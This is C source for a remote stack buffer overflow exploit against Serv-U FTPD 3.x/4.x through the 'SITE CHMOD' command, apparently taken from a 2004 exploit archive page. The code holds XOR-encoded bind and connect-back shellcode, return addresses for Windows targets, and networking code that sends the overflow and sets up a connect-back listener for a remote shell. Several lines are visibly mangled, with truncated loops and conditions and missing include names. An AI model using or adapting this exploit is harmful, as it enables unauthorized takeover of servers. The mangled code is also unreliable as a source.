Serv-U FTPD 3.x/4.x "SITE CHMOD" Command remote exploit


                      
/*
*-----------------------------------------------------------------------
* 
* Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : 
*          : http://www.cnhonker.com
* Date     : 2004-01-25
*          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
* Tested   : Windows 2000 Server EN/GB
*          :     + Serv-U v3.0.0.20~v4.1.0.11
* Notice   : *** Bug find by kkqq  ***
*          : *** You need a valid account and a writable directory. ***
* Complie  : cl Servu.c
* Usage    : Servu   [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
*------------------------------------------------------------------------
*/

#include 
#include 
#include 
#include 

#pragma comment(lib, "ws2_32")

// for bind shellcode
#define BIND_OFFSET             91

// for connectback shellcode
#define PORT_OFFSET             95
#define IP_OFFSET               88

#define SEH_OFFSET              0x193   //v3.0.0.20~v4.1.0.11
//#define       SEH_OFFSET              0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
#define MAX_LEN                 2048
#define JMP_OVER                "\xeb\x06\xeb\x06"
#define VERSION                 "1.0"

struct
{
        DWORD   dwJMP;
        char    *szDescription;
}targets[] =
{
        {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"}, //for all GB win2000 and winxp
// {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},  //wsock32.dll jmp ebx addr
// {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},  //wsock32.dll jmp ebx addr
// {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},      //user32.dll jmp ebx addr
// {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},      //for all BG win2000 and winxp  
// {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},      //setupapi.dll jmp ebx addr
// {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},      //setupapi.dll jmp ebx addr
// {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},      //setupapi.dll jmp ebx addr
// {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
// {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
},v;


unsigned char   *szSend[4];
unsigned char   szCommand[MAX_LEN];
char            szDirectory[0x100];

// 28 bytes decode by lion, don't change this.
unsigned char decode[]=
"\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
"\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";

// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion"; 

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n"; 

// 311 bytes bind shellcode by lion (xor with 0x93)
unsigned char sc[]=
"\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
"\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
"\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
"\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
"\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
"\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
"\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
"\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
"\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
"\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
"\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
"\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
"\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
"\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
"\xDA\x15\xDA\x74\xEA\x55\xEA";

// 294 bytes connectback shellcode by lion (xor with 0x93)
unsigned char cbsc[]=
"\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
"\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
"\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
"\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
"\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
"\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
"\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
"\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
"\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
"\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
"\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
"\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
"\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
"\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
"\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
"\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
"\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
"\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
"\x39\xF3\x74\xEA\x55\xEA";

void usage(char *p)
{
        int     i;
        printf( "Usage:\t%s\t \n"
                "\t\t[-u user] [-p pass] [-d dir]\n"
                "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
                "[type]:\n" , p);     
        for(i=0;i=sizeof(targets)/sizeof(v)) )
        {
                usage(argv[0]);
                printf("[-] Invalid type.\n");
                return;
        }

        if(iPort 65535 || shport  65535)
        {
                usage(argv[0]);
                printf("[-] Invalid port.\n");
                return;
        }
        
        _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
        user[sizeof(user)-1]='\0';
        _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
        pass[sizeof(pass)-1]='\0';
        szSend[0] = user;       //user
        szSend[1] = pass;       //pass  
        szSend[2] = penetrate;  //pentrate
        szSend[3] = szCommand;  //shellcode
        
        // Penetrate through the firewall.
        if(bCb && shport > 1024)
        {
                strncpy(cbHost2, cbHost, 20);
                for(i=0;i= sizeof(szCommand))
        {
                printf("[-] stack buffer overflow.\n");
                return;
        }
        
//      printf("send size %d:%s", strlen(szCommand), szCommand);
        
        __try
        {
                if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
                {
                        printf("[-] WSAStartup error:%d\n", WSAGetLastError());
                        __leave;
                }

                s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(s == INVALID_SOCKET)
                {
                        printf("[-] Create socket failed:%d",GetLastError());
                        __leave;
                }

                sa.sin_family=AF_INET;
                sa.sin_port=htons((USHORT)iPort);
                sa.sin_addr.S_un.S_addr=inet_addr(ip);

                setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
                iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
                if(iErr == SOCKET_ERROR)
                {
                        printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
                        __leave;
                }
                printf("[+] Connect to %s:%d success.\n", ip, iPort);
                
                if(bCb)
                {
                        Sleep(500);
                        s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

                        server.sin_family=AF_INET;
                        server.sin_addr.S_un.S_addr=inet_addr(cbHost);
                        //server.sin_addr.s_addr=INADDR_ANY; 
                        server.sin_port=htons((unsigned short)shport);

                        setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));

                        Reuse = 1; 
                        setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));

                        if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
                        {
                                printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
                                printf("[-] You must run nc get the shell.\n");
                                bLocal = FALSE;
                                //closesocket(s2);
                                //__leave;
                        }
                        else
                        {       
                                printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
                                listen(s2, 1); 
                        }
                }
                
                for(i=0;i

 Audits de Sécurité & Tests Intrusifs Mailing Listes Advisories  Service Publicitaire

Tous droits réservés © 2002-2004 K-OTiK Security Voir Notice Légale   

actualité informatique  Exploits